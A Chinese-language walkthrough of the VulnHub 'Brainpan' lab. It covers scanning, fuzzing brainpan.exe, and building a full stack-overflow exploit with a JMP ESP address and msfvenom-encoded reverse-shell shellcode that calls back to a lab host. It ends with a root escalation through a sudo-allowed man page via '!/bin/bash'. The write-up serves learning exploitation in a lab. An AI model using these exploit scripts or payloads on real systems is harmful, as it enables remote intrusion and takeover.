0%

vulnhub-Brainpan

vulnhub上一个有关pwn的靶机,也不是很复杂

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# nmap -sT -sV -O -p9999,10000 192.168.52.62
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 19:45 CST
Nmap scan report for bogon (192.168.52.62)
Host is up (0.00091s latency).

PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.95%I=7%D=9/22%Time=68D136DF%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:24:31:B4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.27 seconds

这里运行了两个端口一个 9999 一个 10000 第二个是一个http服务 第一个不知道运行的是什么

web

进入web看一眼 发现只有一个静态的图片
用gobuster扫一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# gobuster dir -w=/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,zip,js --url http://192.168.52.62:10000
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.52.62:10000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,zip,js,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin (Status: 301) [Size: 0] [--> /bin/]

bin目录下有一个可执行文件 下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# wget 192.168.52.62:10000/bin/brainpan.exe
Prepended http:// to '192.168.52.62:10000/bin/brainpan.exe'
--2025-09-22 19:55:48-- http://192.168.52.62:10000/bin/brainpan.exe
正在连接 192.168.52.62:10000... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:21190 (21K) [application/x-msdos-program]
正在保存至: “brainpan.exe”

brainpan.exe 100%[===================>] 20.69K --.-KB/s 用时 0.001s

2025-09-22 19:55:48 (32.6 MB/s) - 已保存 “brainpan.exe” [21190/21190])

先用file查看 知道这是一个32位可执行程序
然后用strings查看 发现有一个关键字shitstorm 然后有一个banner

用nc连接一下9999端口 发现banner和brainpan.exe一样,所以很有可能这个可执行文件就是运行这个端口服务的源文件

随便输入什么提示没有认证 输入shitstorm 显示access granted 但是也没有给出其他信息,这里无法继续推进

pwn

所以看看brainpan.exe有什么漏洞 最先猜测的是是否存在缓冲区溢出
现在把这个程序拉到windows主机中做一个测试
写一个脚本自动测试多少个字节会造成溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import sys
import time

size = 100

while True:
try:
print(f"testing buffer size {size}")
buffer = 'A' * size
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.52.81",9999))
s.send(buffer.encode())
s.close()
size += 100
time.sleep(3)

except:
print("\n[-]connect refused")
sys.exit()

AF_INET代表用的是ipv4 SOCK_STREAM是使用TCP

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# python3 exp.py
testing buffer size 100
testing buffer size 200
testing buffer size 300
testing buffer size 400
testing buffer size 500
testing buffer size 600
testing buffer size 700

在600-700的时候我运行程序就退出了 所以溢出的字节可能是600个字节
接下来要用msf-pattern来测试在什么时候会溢出 还要借助Immunity debugger这个内存和指令查看工具

1
2
3
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

修改脚本 发送一次这个数据
然后再debugger中放入这个程序 运行 可以在右上角中看到eip的值

再用msf-pattern找到偏移的大小

1
2
3
4
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# msf-pattern_offset -l 600 -q 35724134
[*] Exact match at offset 524

然后改一下buffer 试试内存中的样子是不是如我们所料

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# cat exp.py
import socket
import sys
import time

size = 100


try:
print(f"testing buffer size {size}")
buffer = "A" * 524 + "B" * 4 + "C" * 72
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.52.81",9999))
s.send(buffer.encode())
s.close()
size += 100
time.sleep(3)

except:
print("\n[-]connect refused")
sys.exit()


可以看到eip确实都是B了 所以eip是可以利用的 但是我们要写入shellcode 所以尝试能不能写入更多的C字节,一个shellcode差不四五百个字节
上面脚本的C的大小改成500 继续放在debugger中查看 发现溢出后行为没有改变 C大概有四百多字节,所以可以写入shellcode!
然后找一下坏字节 https://github.com/cytopia/badchars
用工具生成badchars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan/badchars]
└─# ./badchars -f python
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

把badchars 放在esp中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket
import sys
import time

size = 100


try:
print(f"testing buffer size {size}")
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = "A" * 524 + "B" * 4 + badchars
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.52.81",9999))
s.send(buffer.encode('latin-1'))
s.close()
size += 100
time.sleep(3)

except:
print("\n[-]connect refused")
sys.exit()


坏字节是出现00 之后再继续其他的字节 这里01-ff都是连续的 说明没有坏字节,所以这个程序只有一个坏字节00

下一步要利用eip去跳转到esp 去执行栈中的shellcode

1
2
3
4
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# msf-nasm_shell
snasm > jmp esp
00000000 FFE4 jmp esp

现在在debugger中找哪里可以找到这个指令
先用!mona modules 找到可以利用的程序 这里发现就是brainpan.exe 没有开保护程序

!mona find -s "\xff\x44" -m brainpan.exe

找到了一个 地址:311712F3
然后还需要用msfvenom写一个反弹shell的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST 192.168.52.196 LPORT 443 -b "\x00" -e x86/shikata_ga_nai -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Error: One or more options failed to validate: LHOST, LPORT.

┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.52.196 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xdb\xde\xd9\x74\x24\xf4\x58\xbd\x7f\x62\xb5\xda\x31\xc9"
"\xb1\x12\x31\x68\x17\x83\xe8\xfc\x03\x17\x71\x57\x2f\xd6"
"\xae\x60\x33\x4b\x12\xdc\xde\x69\x1d\x03\xae\x0b\xd0\x44"
"\x5c\x8a\x5a\x7b\xae\xac\xd2\xfd\xc9\xc4\x24\x55\x1d\xd0"
"\xcd\xa4\x5e\xd9\xb6\x20\xbf\x69\xae\x62\x11\xda\x9c\x80"
"\x18\x3d\x2f\x06\x48\xd5\xde\x28\x1e\x4d\x77\x18\xcf\xef"
"\xee\xef\xec\xbd\xa3\x66\x13\xf1\x4f\xb4\x54";

-e是指定编码器 这个shikata_ga_nai带有一定的免杀属性很常用
修改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
import sys
import time

size = 100


try:
print(f"testing buffer size {size}")
shellcode=("\xdb\xde\xd9\x74\x24\xf4\x58\xbd\x7f\x62\xb5\xda\x31\xc9"
"\xb1\x12\x31\x68\x17\x83\xe8\xfc\x03\x17\x71\x57\x2f\xd6"
"\xae\x60\x33\x4b\x12\xdc\xde\x69\x1d\x03\xae\x0b\xd0\x44"
"\x5c\x8a\x5a\x7b\xae\xac\xd2\xfd\xc9\xc4\x24\x55\x1d\xd0"
"\xcd\xa4\x5e\xd9\xb6\x20\xbf\x69\xae\x62\x11\xda\x9c\x80"
"\x18\x3d\x2f\x06\x48\xd5\xde\x28\x1e\x4d\x77\x18\xcf\xef"
"\xee\xef\xec\xbd\xa3\x66\x13\xf1\x4f\xb4\x54")
buffer = "A" * 524 + "\xf3\x12\x17\x31" + "\x90" * 16 + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.52.62",9999))
s.send(buffer.encode('latin-1'))
s.close()
size += 100
time.sleep(3)

except:
print("\n[-]connect refused")
sys.exit()

这里要 “\x90” * 16因为上面指定编码器之后会有解码器的桩 \x90是nop(non operation)表示程序碰到这个后不做操作 划过一定的字节
运行程序后 在另一个窗口开启监听,成功反弹shell

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/tmp/vulnhub-Brainpan]
└─# nc -lp 443
ls
checksrv.sh
web
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

提权

先用script -qc /bin/bash /dev/nullexport TERM=xterm美化一下终端
查看sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
puck@brainpan:/home/puck$

这里 manual可以查看某个指令的使用手册 所以是用!/bin/bash 常规提权手段

总结:

  • 学会immunity debugger的常见的使用方式 包括查看寄存器 看地址 找机器码等等
  • 进一步提升脚本编写能力
  • 学习如何找到坏字节
  • 学习msfvenom生成反弹shell 以及-e x86/shikata_ga_nai
  • 提权是经典的操作手册